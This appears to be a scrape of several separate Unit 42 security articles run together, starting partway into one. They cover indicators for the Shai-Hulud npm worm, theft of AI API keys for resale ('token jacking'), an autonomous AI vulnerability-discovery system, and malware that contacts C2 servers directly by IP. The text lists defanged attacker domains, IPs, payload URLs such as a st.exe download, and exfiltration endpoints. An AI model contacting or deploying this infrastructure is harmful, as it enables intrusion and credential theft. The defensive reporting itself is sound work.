Filtering and Advanced DNS Security identify known C2 domains associated with this activity as malicious. Koi Agentic Endpoint Security is designed to help discover every AI artifact and AI agent’s activity across the agentic endpoint, assess its risk, enforce prevention & runtime controls, and remediate violations. Security analysts can use natural language to prompt the Cortex AgentiX Threat Intel agent to extract indicators of compromise (IoCs) from this threat brief. Customers can then enrich the indicators, check for sightings in their Cortex tenant and related alerts and provide a summary of the impact to the organization. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. Specifically, we observed out-of-the-box prevention on Windows via Behavioral Threat Protection. In addition, as part of our continuous cross-platform threat research, targeted behavioral protections for macOS and Linux environments have also been deployed in content version 2370-39889. We advise customers to upgrade agents to supported versions and the latest content update to receive the best protection Cortex Cloud Endpoint Protection can help protect organizations from threats expressed within this article. Cortex Cloud 2.1 can detect and prevent malicious operations using behavioral and AI-enabled analytics to detect when Linux endpoints, including containers and virtual machines, are targeted. Additionally, it can detect when cloud platform IAM policies associated with those targeted endpoints are being misused and alert teams when assets are vulnerable to these threats. Palo Alto Networks Software Supply Chain Security, integrated into Cortex Cloud, helps provide comprehensive visibility across the entire development ecosystem by tracking developer tools, code identities, registries and SBOMs. The solution can effectively harden development pipelines, and helps enforce out-of-the-box security policies to prevent unauthorized tampering or malicious code injection. By automating compliance reporting and governance, it can better empower organizations to mitigate application risks early and deploy secure code with confidence. Idira Secrets Manager limits blast radius by dynamically injecting them into build steps or local environments at runtime via API, CLI, or container sidecars, avoiding long-lived static configuration files on disk. By pairing Idira Privilege Cloud with Idira Secrets Manager, raw credentials bypass environment variables and process memory entirely. Secretless Manager proxies outbound connections to databases, cloud APIs, and registries, injecting credentials directly into the network stream on the fly. When supply chain worms scan your build runners, there is simply nothing in memory to steal. Idira Secrets Manager, integrated with Idira Privilege Cloud, handles automated policy-based rotation of credentials and enforces short lived secrets. Secrets requested by build pipelines are dynamically generated or rotated immediately after job completion. Math_Symbol.js / math_init.js: 9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc setup.mjs (First variant): 54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668 setup.mjs (Second variant): fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb setup.mjs.malicious (Variant of setup.mjs based on TLSH pivot): b27b82afa5f15512f3856e549fb83d873fd0049759a4b62ce64c8d7d4dc2c678 awqhnjewqjkl[.]icu - new C2 domain pulled from Ethereum contract npm-cache[.]com - active during analysis pypi-get[.]com - historical C2, returned from the Ethereum contract in the past js-mirror[.]com - historical C2, returned from the Ethereum contract in the past hxxps://npm-cache[.]com:443/router hxxp://awqhnjewqjkl[.]icu/cdn-cgi/rum? Resolver contract: 0xE1f2395ee43e45A1556EC6438a88c31B83493103 Changed C2 Transaction: 0xc55920f1bd0531b6738153068a666c080ddded47e6256f1fd980d51c0b507c91 Owner wallet: 0x55f9780e1492344b7417fa723aedc4d0b97f31cd Binance deposit pivot: 0x35477b7b2df3174B9FE8A681750A7E3fbA20F39B Getter selector: 0x53ed5143 Setter selector: 0xd3c159e5 Repository description: Shai-Hulud: Here We Go Again Commit search token: thebeautifulmarchoftime Signed record prefix: thebeautifulsnadsoftime Dune-themed name terms: sardaukar, mentat, fremen, atreides, harkonnen The sample embeds an installer for these artifacts, but we did not identify a call site on its main execution path: ~/.local/bin/gh-token-monitor.sh ~/.config/gh-token-monitor/ ~/Library/LaunchAgents/com.user.gh-token-monitor.plist ~/.config/systemd/user/gh-token-monitor.service A list of compromised packages is available at a page on our GitHub repository.

It’s three a.m., do you know what your AI agent is doing? Unit 42 has responded to a growing number of AI token jacking cases resulting in staggering financial losses. The financial loss comes from criminals gaining access to API keys used by legitimate developers for access to popular AI platforms. These keys are known as tokens, and their theft is called token hijacking, or token jacking for short. The unrelenting frenzy of AI adoption and soaring costs of model access are converging into an irresistible opportunity for cybercriminals. Premium pricing on scarce AI processing power means stolen access via tokens can generate a quick and easy profit for attackers. Complex, patchwork billing management and limitless scaling by default can lead to massive financial losses in short periods. Good security hygiene, combined with cutting-edge native AI protection tools, can prevent losses before they begin. Palo Alto Networks customers are better protected through the following products and services: The Unit 42 AI Security Assessment can help empower safe AI use and development. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Token jacking is a new AI-oriented spin on an old technique of stealing access to computing resources. Establishing a session in service-based computing typically requires authentication, usually involving a username and password, and sometimes a secondary verification method. Many services allow an authenticated user to then generate keys that programs can use on a user's behalf to establish sessions without going through an interactive login to support automated processes. Within a session, the service provider and user have agreed on a structured way to pay to use their service to achieve a pre-defined objective. AI — in particular, large language models (LLMs) — typically does not have pre-defined objectives. Users can and do carry on long conversations of widely varying complexity, which can consume enormous amounts of the provider’s computing resources. Automated processes also use LLMs to produce iterative content, which they then further process and return to the LLM with additional, related prompts. To best support this freeform usage, providers typically break both the input prompt and the output data into small chunks called tokens. Regardless of the objective, billing is then based on how many of these tokens are consumed during the session. Newer and more complex AI models charge more per token, ostensibly because more resources are required to deliver the output. To avoid interruptions in unpredictable workstreams, many providers do not limit the number of tokens an account can consume, instead tallying usage and billing on a cycle. If an attacker can steal one of these keys, they may find themselves with unlimited programmatic access to tokens that they can then use themselves or resell to other users. Since billing occurs cyclically, the victim might not even be aware of the theft until the attacker has consumed a massive number of tokens. To better understand token jacking, we must understand transfer stations. Skyrocketing token costs for frontier AI models and regional usage restrictions have spawned a massive gray market of fly-by-night vendors selling AI computing capacity at a fraction of the retail cost. Figure 1 below shows an example of these advertisements. These services are commonly called transfer stations. Third parties acting as intermediaries between official AI providers and end users sell these transfer stations. Many of these advertisements appear on Chinese-language marketplaces like Taobao. They promise access to multiple AI services with seller-issued custom credits that are purchased anonymously. Earlier this year, a researcher named Harshal Singh posted a fascinating deep dive into this world. A large number of these transfer stations run on just a few open-source software platforms like new-api or one-api, which act as proxy services to official AI APIs. These proxy services handle: Obfuscation Rotation and authentication of real credentials Billing Model routing Normalization of prompts In many cases, users of these transfer station services are developers seeking inexpensive AI access. Other use cases are less benign. Competing nation-states can use these transfer stations' proxy services to access cutting-edge frontier models to train and refine their own models at a fraction of the cost that AI development normally incurs. Transfer stations require access to legitimate API tokens for the associated AI models. Attackers often steal or hijack these tokens from a variety of legitimate sources. For transfer stations to be cost-effective, their operators require access to a large pool of discounted legitimate tokens for each frontier AI model offered. Purchasing tokens at full price to simply resell them at a discount isn’t profitable, so many operators turn to stolen credentials. Attackers can use privileged corporate developer accounts they’ve harvested via information stealers or through phishing campaigns to perform the following activities: Creating new API keys Provisioning models Removing billing limits Disabling critical usage alerts and logging These developer accounts are readily available for sale by access brokers on dark web marketplaces. However, a more direct approach is to steal already provisioned access keys. Attackers can harvest these like they do credentials. They can also mine keys from improperly secured file shares or code repositories. More recently, attackers have stolen these keys using poisoned, self-propagating npm packages downloaded by unsuspecting developers. Once installed, these packages infect any other code releases the developer builds. They steal credentials and access tokens from each environment along the way, amplifying the impact. Particularly concerning are npm supply chain attacks like Shai-Hulud and Miasma. Attackers could use the huge number of credentials stolen in these campaigns to fuel transfer stations for years. The financial impact of token jacking can be catastrophic to organizations. Transfer stations can generate tens of millions of API calls per day, resulting in hundreds of thousands of dollars in usage fees. We’ve responded to cases where attackers stole inadvertently exposed credentials and integrated them into a transfer station within minutes. This led to nearly a million dollars in charges before discovery and containment. In some of these cases, we connected massive numbers of malicious API queries to domains hosting the new-api proxy service. Figure 2 shows an example of a transfer station frontend marketplace hosted on an IP address running an instance of new-api and connected to an attack. Organizations impacted by token jacking have very little recourse to recover funds billed by the AI services for using their API tokens. The cost can derail budgets or even force smaller businesses into bankruptcy. Even unsuspecting developers trying to use transfer stations for legitimate development risk having their prompts routed to inferior models. Furthermore, developers risk having their sessions monitored and mined for sensitive data that could turn them into future victims. Organizations can protect themselves against token jacking through various methods. Implement spending limits for AI usage - Ensure that these limits alert organizations if usage changes drastically from an established baseline Review all privileged accounts that can be used to provision resources or adjust spending limits Migrate from long-term access keys to short-term bearer tokens to limit the potential window of damage Use an AI gateway in combination with a machine authentication platform - This can help ensure that all LLM traffic is tied to a verified and managed machine identity, allowing for real-time monitoring of traffic and usage anomalies Ensure that compute resources include network boundaries where available - This restricts access to corporate infrastructure, preventing compromised keys from being used in a transfer station scenario Tightly manage development environments to ensure malicious packages do not enter the development pipeline AI adoption is accelerating at an unprecedented pace. A mindset of “fail fast and break things” has never been more true — or more risky — than it is today. This mindset brings with it an opportunity for cybercriminals to target vulnerable organizations through token jacking and to cause staggering losses. While innovation cannot be at the mercy of security, there are ways defenders can manage their risk. Palo Alto Networks customers are better protected through the following products and services: Prisma AIRS AI Gateway The Prisma AIRS AI Gateway helps provide a central control plane to secure and govern enterprise AI traffic. By managing API keys centrally, it removes sensitive credentials from developer environments and build systems. Platform teams can gain full visibility into model usage, agent actions, and token spend across teams. Security teams get integrated guardrails that can enforce access policies, prevent data leaks, and set proactive budget limits. Idira Agentic Identity Security helps provide a comprehensive identity security solution for discovery, control and governance of agentic identities. It provides a central registry of agents with cryptographically verifiable identities, enforces strong authentication and zero standing privileges for agents and provides comprehensive audit trails of agent actions. It also enables agents to secretly retrieve and use secrets and API tokens just in time thereby reducing the attack surface. Koi Agentic Endpoint Security helps discover all software on your endpoints, both binary and non-binary, from installed applications to code packages and AI artifacts. From there you can govern it, whether that means removing a risky or malicious item, or holding new package versions back until they've had time to establish a reputation under public scrutiny. Cortex Cloud, XDR, and XSIAM customers are better protected from the topics discussed within this article with cloud runtime security operations monitoring their continuous integration and continuous development (CI/CD) pipelines to ensure that the latest npm packages integrated into test and production environments are monitoring for and preventing malicious code execution. Using Cortex Cloud’s Identity Security which includes Cloud Infrastructure Entitlement Management (CIEM), Identity Security Posture Management (ISPM), Data Access Governance (DAG) as well as Identity Threat Detection and Response (ITDR), allows clients to monitor cloud identities which may have been compromised as a result of the techniques discussed in this article. Enabling these features helps protect cloud identities. Advanced URL Filtering identifies known domains and URLs associated with this activity as malicious. The Unit 42 AI Security Assessment can help empower safe AI use and development. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Table 1 contains indicators associated with recent token jacking activity. Table 1. Indicators of token jacking activity. How Chinese Sell “Claude” Tokens at 5% Cost While Making Millions (Tutorial) – X The npm Threat Landscape: Attack Surface and Mitigations - Palo Alto Networks Unit 42

Executive Summary Frontier AI is fundamentally shifting the dynamics of cybersecurity — accelerating both how vulnerabilities are discovered and how quickly they can be exploited. Our vulnerability research team built an autonomous vulnerability discovery, validation and reporting system that we call Network and Open-Source Vulnerability Analyzer (NOVA), an agentic research system that leverages proprietary AI harnesses powered by multiple leading frontier AI models. Our goal with this research is twofold: (1) contribute to improving the security of the software supply chain; and (2) ensure our customers are protected from vulnerabilities in the AI era. In just two months, NOVA analyzed 3,915 open-source software (OSS) projects and uncovered 14,090 confirmed vulnerabilities, 99.4% of which were previously unreported and 40% of them designated as high or critical severity. Nearly every frontier and open-weight model evaluated could find real vulnerabilities, with the strongest results coming from an ensemble of models, specialized security tools, and automated harnesses working together. These initial results illustrate just how dramatic the impact of AI is on the vulnerability landscape. In response to these significant results, we are actively partnering with open-source maintainers and clearinghouses such as Lightwell and Akrites to responsibly disclose these vulnerabilities and ensure they are patched upstream quickly and securely. Securing the broader open-source supply chain ultimately protects the entire software ecosystem and benefits everyone. Our experience with NOVA highlights a clear structural change: the patch window has collapsed. When vulnerability discovery accelerates, the time between disclosure and potential exploitation shrinks dramatically. And attackers need not have access to the latest frontier AI model to reverse engineer patches and develop exploits automatically. This new reality also makes virtual patching an even more important defense strategy in the AI era, and is a key driving force behind our recently announced Frontier Virtual Patching, the next evolution in network vulnerability protection. Frontier Virtual Patching is designed to operate at the speed of AI to keep pace with the new normal of higher rates of vulnerability discovery and compressed attack windows. By harnessing frontier AI to discover unknown vulnerabilities, and deploying protections in hours, we are collapsing the exposure window from the industry-average 55 days it takes to deploy a traditional patch down into a near-zero window of exposure. Our new “vaulted protection” technology enables us to deliver protections ahead of patch availability in a safe and responsible manner. In addition to these protections available with our network security platform, we recommend that organizations deploy relevant best practices, including vulnerability management, zero-trust network architecture, software supply chain security, and other attack surface reduction best practices. NOVA: Fully Automated Novel Vulnerability Discovery and Validation Our vulnerability research team built a fully autonomous vulnerability discovery system requiring no human in the loop until final review. We call this the Network and Open-Source Vulnerability Analyzer (NOVA). For each project we analyzed, NOVA performed the following functions: Review of the project history Reading the source code Identification of vulnerability candidates Creation of a working proof of concept (PoC) Deterministic validation of whether the vulnerability is triggered in a clean environment Generation of a patch candidate Production of a disclosure report The pipeline has scanned 3,915 projects across six major software ecosystems. It produced findings in every ecosystem we tested, for a total of 14,090 novel vulnerabilities. That scale changes how defenders should think about vulnerability discovery. Large-scale open-source vulnerability automation is not new: OSS-Fuzz launched in 2016 and, by August 2023, had helped identify and fix more than 10,000 vulnerabilities across 1,000 projects. It shows the step-change frontier AI enables: Work that once accumulated across years of specialized automation can now begin to happen across thousands of targets in a single autonomous campaign. Table 1 shows that the findings are distributed across very different software ecosystems: The PHP, Java/JVM and C/C++ rows include many larger web platforms, enterprise servers and system software projects, which produced dense clusters of findings per project The Go and JavaScript/TypeScript rows include broad package-ecosystem scans, where each individual package often produced fewer findings but could still affect many downstream products In other words, both large applications and small dependencies matter, but for different reasons. One matters because of direct exposed attack surface and the other because of supply-chain reach. Table 1. Autonomous pipeline findings by language or ecosystem. The projects we analyzed also varied widely in size. Figure 1 shows that most projects we studied were under 10,000 lines of code, but the scan also included larger applications and services. That matters because AI-driven vulnerability discovery is not limited to small demonstrations. The pipeline operated across projects ranging from small packages with hundreds of lines of code to large codebases with more than 1 million lines. We then checked all 14,090 findings against the public record. Only 85 matched vulnerabilities already present in public sources, most published 2–8 weeks after our discovery. This small overlap suggests that many organizations are now independently scanning open-source software. It is reasonable to assume threat actors are doing the same. As AI-assisted discovery becomes easier to run, maintainers will face a growing volume of vulnerability reports that vary widely in quality, urgency and exploitability. What Kinds of Vulnerabilities AI Found Automation to find vulnerabilities is not a new concept. What we see from the NOVA research, however, goes much deeper than previous automations. Considering memory corruption helps shed light on how frontier AI changes vulnerability research. Memory corruption is one of the areas where vulnerability research was already highly automated before generative AI. Researchers have spent years using fuzzers to prove that machines can find crash-oriented bugs at scale. This is especially true in relation to memory corruption, null dereferences and integer overflows. While our system found many vulnerabilities in this category, it was not simply covering the same ground as previous automations. The type of vulnerabilities found with previous automations represent only a small fraction of the vulnerabilities found by NOVA. In the taxonomy we used for our frontier AI findings, the closest category, memory and calculation issues represented 557 findings or only 4.0% of the total. Even if resource-management and denial-of-service issues are added, these fuzzing-friendly categories total 1,121 findings — still only 8.0%. The vast majority of the analysis we did using frontier AI models — 92% — uncovered vulnerabilities of different types. When we look at the remainder we see that the AI harness was especially effective at identifying semantic and logic flaws such as: Access control and authorization Path traversal Code injection Prototype pollution Server-side request forgery (SSRF) We found that different ecosystems presented different types of risks. We broke down vulnerability types in relation to the ecosystems studied in Figure 2. (The figure reports percentages within each language, not raw finding volume, so it should be read as a vulnerability fingerprint for each ecosystem.) The clearest pattern is that the vulnerability mix follows how software is commonly built: C and C++'s issues are dominated by memory-safety and resource-management flaws, the cost of manual memory management JavaScript and TypeScript's issues concentrate in code injection, prototype pollution and SSRF, a byproduct of dynamic, package-heavy code Go's issues skew toward path traversal and SSRF, reflecting its common role in file-serving and proxy services PHP, Java and Python's issues are dominated by access-control and authorization flaws, the classic weak point of applications juggling many user roles A significant number of the 14,005 new vulnerabilities we found are considered severe. The Common Vulnerability Scoring System (CVSS), is a standard way to estimate vulnerability severity. Under CVSS 3.1, 4,030 findings (28.6%) scored High or Critical. Under CVSS 4.0, 5,600 findings (39.7%) scored High or Critical. Figure 3 shows the CVSS 4.0 distribution. Far from producing a long tail of low-impact issues, NOVA identified a substantial amount of vulnerabilities with the potential for real-world impact. A vulnerability in a standalone service only affects the systems that run it. In contrast, a vulnerability in a low-level package can travel much farther, reaching every application that depends on it. In the package ecosystems we studied, the pipeline produced 5,421 supply-chain findings: 1,280 flaws in dependency packages 4,141 downstream exposures where an application could reach a vulnerable dependency through its own code These were not based only on static import checks or dependency graphs. For 2,776 of the downstream exposures, the pipeline validated exploitability from the downstream application with a working PoC. Figure 4 shows why dependency reach matters. Roughly 1,300 dependency-package flaws created more than 4,000 downstream exposures. For defenders, prioritization cannot depend only on project size or direct deployment. It must also account for where the code is used. How the Autonomous Research Harness Works The methodology of AI-driven vulnerability research has changed dramatically in the last two years. In 2024, our AI-assisted BOLA research still required a carefully designed workflow for a narrow vulnerability class, with human researchers defining much of the strategy in advance. In 2026, agentic AI can: Start from a broader goal Inspect a codebase Decide where to look Build a PoC Iterate when validation fails That shift makes AI-driven vulnerability research faster, easier to scale and more useful across many vulnerability classes. That shift does not remove the need for engineering around the model. It makes harness design more important. A single model asked to find vulnerabilities will produce too much noise and still miss important parts of the codebase or entire vulnerability classes. The harness gives the agent a structured workflow: Understand the target's architecture Identify where outside input enters Locate dangerous operations Determine which paths connect the two This turns a broad audit into a set of specific review obligations, such as whether user-controlled data can reach a file operation, an outbound network request, a database query or a command execution point. The harness also keeps the work accountable. It records paths that were reviewed, paths that were ruled out and candidates that need proof. Candidate findings are not accepted just because a model reports them. They are passed to independent validation and replayed in a clean environment. They are then sent through patch review and protection generation. This structure lets agents move quickly while still producing evidence that humans, maintainers and defensive systems can act on. Figure 5 shows the high-level architecture. Project prioritization decides what to analyze first. Research agents and specialized analysis tools work together to map the code and find candidate paths. Independent validation confirms whether a candidate is real. From there, the pipeline produces patch candidates, disclosure material and virtual patch candidates for defensive coverage. Figure 6 expands that architecture into the agentic loop that runs for each project. A scoping agent selects the software repository and scan strategy. Discovery agents review the codebase in parallel and generate ranked candidates. Proof-of-concept and verification agents turn strong candidates into working tests and replay them in isolated environments. Gatekeeper agents then score, verify and decide whether to publish, archive or send the project back into the next wave of review. This is a multi-agent and multi-model design. Code reviewers, exploit developers, adversarial triagers, replay judges and fix-verification agents each perform different jobs, and different models can be selected for the tasks where they are strongest. Discovery is especially ensemble-heavy because it is largely static analysis: multiple models reviewing the same project can cover different code paths and vulnerability classes, which is why the next section examines model complementarity in more detail. The loop is built to reduce false positives and to operate safely at scale. Candidate findings go through strict validation, isolated replay and continuous adversarial review before they are treated as verified. The pipeline also runs behind multiple containment layers, including containers, gVisor-style sandboxing, virtual machines, network egress controls and least-privilege permissions. That isolation matters because the system is designed to scan hundreds of projects concurrently while handling untrusted code, generated exploits and sensitive artifacts. We also found that a multi-model ensemble is essential. In a controlled evaluation across 14 projects, different models often found different vulnerabilities in the same codebase. Figure 7 shows this complementary behavior. A higher score means the models found more distinct sets of issues, while a lower score means they tended to converge on the same findings. The trend is clear: Small packages usually leave less room for disagreement, while larger applications, services and libraries create more opportunity for models to specialize and uncover different parts of the attack surface. Figure 8 reinforces the same conclusion. In the evaluation, every model contributed a large set of findings that no other model found. The highest-volume model found 235 confirmed vulnerabilities, including 185 unique to that model in this experiment. Even the lowest-volume model found 139 confirmed issues, including 93 that no other model found. This is why we view the ensemble as a defensive requirement rather than an optimization. Beating Attackers With Virtual Patching and Industry-wide Collaboration Our approach to addressing the impact of AI on the vulnerability landscape is to pair earlier discovery with faster protection. Finding vulnerabilities before attackers do is only useful if that intelligence can be turned into customer defenses and coordinated remediation quickly. Our partnership with leading vulnerability clearinghouses enables us to quickly and proactively report vulnerabilities to software maintainers to ensure security bugs are properly remediated upstream. As vulnerabilities are patched and disclosed, protections are added to our Advanced Threat Prevention (ATP) service on our next-generation firewall and SASE products to protect customers. With Advanced Threat Prevention, defenders can deploy network-level protections that detect or block exploit attempts before they reach vulnerable software. This is especially important for open-source components embedded across many products, as well as commercial software, operational technology, medical devices and other environments where patching can be slow, risky or constrained by availability requirements. And with our new Frontier Virtual Patching capability, protections for newly discovered vulnerabilities can be delivered within hours, safely protecting customers before official patches are available. This approach aligns with our collaboration with Project Lightwell, which combines our rapid network-level protection with software remediation to help organizations reduce exposure to emerging threats. In addition to our ongoing research in proactive vulnerability discovery, we continue to forge industry partnerships across the enterprise software and OT vendor landscape to accelerate vulnerability disclosure, remediation and customer protection without overwhelming maintainers or enterprise patching teams. The Path Forward The vulnerability surge is already underway. AI can compress months or years of manual review into days, and a finding is no longer just a written report. An autonomous agent can often read code, test a hypothesis, generate a working PoC and validate the result in the same workflow. That changes the economics of both offense and defense, and it narrows the window organizations have traditionally relied on between vulnerability discovery, patch development, patch testing and production deployment. At the same time, expert judgment remains irreplaceable. Models are powerful at scale, but top human researchers still lead in creative synthesis, complex exploit chaining and unusual intuition. The strongest defensive posture combines: Autonomous systems for speed and breadth Human experts for judgment and prioritization Innovative approaches to mitigation The next phase of security will be defined not only by who can find vulnerabilities first, but by who can convert early discovery into protection fastest. As Palo Alto Networks CEO Nikesh Arora has emphasized, this is a moment for cybersecurity providers to step up and shift the advantage back to defenders. Palo Alto Networks is continuing to invest in AI-native vulnerability research, responsible disclosure, partner collaboration and mitigation capabilities so customers can reduce exposure before attackers can exploit newly discovered flaws. The Unit 42 AI Security Assessment can help empower safe AI use and development. Read more about how Palo Alto Networks is utilizing Frontier AI. Additional Resources Redefining Network Security for the Frontier AI Era – Anand Oswald

Malware samples often bypass DNS entirely, communicating directly to IP addresses instead. Our analysis of 4 million dynamic analysis reports indicates that almost half (45.32%) of malware samples with any command-and-control (C2) activity made at least one direct-to-IP (D2IP) address connection. Measured as a fraction of all C2 connection attempts, D2IP traffic accounts for 23.17% of the total. A wide variety of threats — including ransomware droppers, peer-to-peer (P2P) botnets and supply chain risks — communicate directly with hard-coded IP addresses, bypassing DNS entirely and evading DNS-based defenses altogether. This article introduces zero trust IP (ZT-IP), which is a network-level enforcement approach that applies zero trust principles to IP-based traffic. The enforcement approach verifies whether outbound connection destinations were ever sanctioned by a DNS response. We validate this approach against real-world network traffic and samples, demonstrating how ZT-IP successfully surfaces threats including: Phorpiex ransomware droppers connecting directly to C2 IP addresses A persistent data exfiltration campaign using a custom obfuscated HTTP GET request Mozi P2P botnet payloads delivered to internet-of-things (IoT) devices without DNS Palo Alto Networks customers are better protected from the threats discussed here through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. DNS security has become a cornerstone of enterprise threat defense. By monitoring and filtering DNS queries, security teams can block malware from reaching known-bad domains and use sinkholing to disrupt C2 communications before they establish a foothold. This approach is effective when malware plays by the rules of relying on DNS for domain resolution. However, many types of malware do not. For example, a backdoor malware sample made no DNS query at all before initiating a WebSocket connection directly to an IP address. Disassembly via Ghidra revealed why. The destination address wss://154.92.19[.]71:39989 was hard coded into the binary as a Unicode string. This is not an isolated edge case. Without the DNS resolution step in network communications, malware is invisible to DNS-based security controls, protective DNS sinkholing and DNS anomaly detection systems. The connection simply appears as raw IP traffic with no prior context. We analyzed over 4 million Advanced WildFire dynamic analysis reports for a 30-day period to quantify how prevalent this behavior truly is. We filtered out connections to common legitimate services, internal addresses and DNS resolvers. After doing that, we found that 20.11% of malware samples exhibited C2 activity. The contrast with benign samples is striking. Only 1% of benign samples establish connections to untrusted IP addresses after applying the same filtering criteria. Those that do average just 1.6 such connections per sample. This is a small fraction of the activity observed in malware. Among malware with C2 connections, TCP dominates (94.43% prevalence, averaging 4.17 unique C2 IP addresses per sample). UDP is present in 17.50% of cases but contacts far more IP addresses per sample (average 13.79%), consistent with scanning and P2P mesh behavior. Most critically for DNS-based defenses, 45.32% of malware samples with any C2 activity made at least one direct-to-IP (D2IP) address connection — a raw IP contact with no preceding DNS query. Even after excluding bulk port-scanning behavior, the figure remains 41.97%. Measured as a fraction of all C2 connection attempts, D2IP traffic accounts for 23.17% of the total. By searching for D2IP connections (ZT-IP analysis), we were able to uncover multiple threats. Among traffic flagged by ZT-IP, we observed the following suspicious HTTP GET request toward the destination IP address at 178.16.54[.]109 as shown below in Figure 1. The observed request exhibits multiple variations, including sequential numeric GET paths (e.g., /1 through /6) and specific file downloads (e.g., /sex/k/n.txt, /new.php). We found that these requests correlate with several malware samples (e.g., the binary retrieved from hxxp[:]//178.16.54[.]109/st.exe) associated with Phorpiex (aka Trik), a long-running malware family used primarily as a dropper and spam botnet. Figure 2 illustrates the many malicious samples hosted on 178.16.54[.]109 in a flow chart of this activity. This traffic aligns with Phorpiex's staged payload delivery mechanism. This mechanism is characterized by initially fetching configuration, and then retrieving additional malicious components such as a ransomware payload. A key indicator of malicious D2IP activity was the absence of DNS queries preceding the connections to 178.16.54[.]109. Since the request bodies appear benign, they often bypass standard heuristic detectors. One of the most distinctive findings was a persistent campaign using a non-standard HTTP request we call the \GET protocol. This is an obfuscated request format designed to evade security detection while exfiltrating data. Unlike standard HTTP requests, these requests begin with \GET (backslash-GET) rather than standard GET followed by a backslash. The \GET is followed by a long encoded string ranging from 250–666 characters, as shown in Figure 3. Statistical analysis of the encoded payloads reveals a structured encoding scheme: The first and last four characters: alphanumeric (0-9 and A-Z), evenly distributed Middle characters: hex-like (0-9 and A-F), evenly distributed The payload length ranges from 250–666 characters Disassembly of associated malware samples (e.g., cc43cdbe8eb9874f55fffbe23b560b673eb9f31fb9a953926bba29464fd2dd07) confirms there are no hex-format IP addresses hard coded in the binaries. Instead, multiple hard-coded strings follow the same encoding rule, consistent with the payload lengths observed. The C2 infrastructure is hosted on public cloud infrastructure in Brazil. Samples that point to it were found impacting high-value sectors including government, airlines and universities. Because the threat leverages shared cloud resources, simple IP-based blocking is ineffective. Furthermore, the malware employs a notable operational security measure. It rotates both its destination port and IP address on a regular schedule, which evades static IP-blocking defenses. We observed two separate attackers operating infrastructure at 87.120.107[.]33 and 194.76.227[.]94, respectively, deploying the same malware family of SectopRAT against educational institutions. Both actors leverage SectopRAT's in-browser proxy capability to silently mirror all victim browser traffic to attacker-controlled servers in real time. The proxy operates via two endpoints. The first, /churl (shown in Figure 4), relays every URL the victim visits, including: Authenticated session pages Single sign-on (SSO) redirects Learning management system content The second, /fsave (shown in Figure 5), exfiltrates form fields including usernames and plaintext passwords at the moment of submission. An identifier (pcid/clid) in every request allows each actor to track individual compromised devices across sessions. Both attackers’ campaigns communicate entirely over D2IP connections, bypassing DNS-based visibility layers entirely. IoT malware families often exploit network vulnerabilities to self-propagate, relying on D2IP communication that makes them invisible to DNS-based security layers. Mozi is a Mirai-derived P2P botnet known for targeting IoT devices with MIPS, ARM and x86 architectures. We observed its characteristic exploitation payload embedded directly in HTTP requests. Figure 6 shows an example of the exploitation payload for Mozi. In ASCII text, this translates to the three commands shown in Figure 7. The Mozi campaign showed highly distributed patterns with thousands of source and destination IP addresses, consistent with the Mozi botnet's P2P mesh structure. However, because this IoT malware propagates by making D2IP connections without DNS resolution, blocking this type of connection can effectively prevent it from spreading within sensitive environments. Similarly, we identified a Mirai variant that we named Boatnet, which was distributed from the IP address 2.26.98[.]67. Boatnet demonstrates thorough platform targeting, covering at least 14 different architectures. Beyond standard IoT architectures, Boatnet includes binaries for m68k (Motorola 68000). This processor family is common in legacy industrial control systems (ICS) and aging embedded hardware, which current malware typically overlooks. Unlike generic variants, Boatnet fragments its ARM coverage into three discrete sub-variants (ARM5, ARM6 and ARM7) to ensure optimal performance across different hardware generations. Binaries are hosted under a /hiddenbin/ directory, as noted in Figure 8, showing a deliberate attempt to mimic legitimate system paths and evade basic file-path detection. We observed infected devices fetching payloads with a User-Agent string of Wget/1.13.4 (released in 2012). This serves as a significant fingerprint, suggesting the botnet is specifically harvesting older, unpatched hardware. Boatnet also demonstrates more operational maturity than “vanilla” Mirai through its use of HTTP Range headers. D2IP communication from malware won’t be detected by approaches that focus specifically on securing requests at the time a hostname is resolved. This is illustrated by threats like the Phorpiex ransomware dropper, the obfuscated \GET exfiltration campaign and the P2P Mozi botnet. ZT-IP closes this critical gap by applying strict zero trust principles to outbound D2IP connections, ensuring only DNS-sanctioned traffic is permitted. It is a necessary network-level enforcement mechanism to block what DNS-based detection cannot see. Palo Alto Networks customers are better protected from the threats discussed here through the following products and services: Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC: +65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Malicious destination IP addresses 2.26.98[.]67 62.60.179[.]230 87.120.107[.]33 91.92.243[.]29 103.245.236[.]146 178.16.54[.]31 178.16.54[.]109 194.76.227[.]94 206.189.229[.]43 Malware samples 01a96eeafb72042b3f69afd21b4c9155dbfe7f97ab3dca392972ad531a075ac2 9639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4 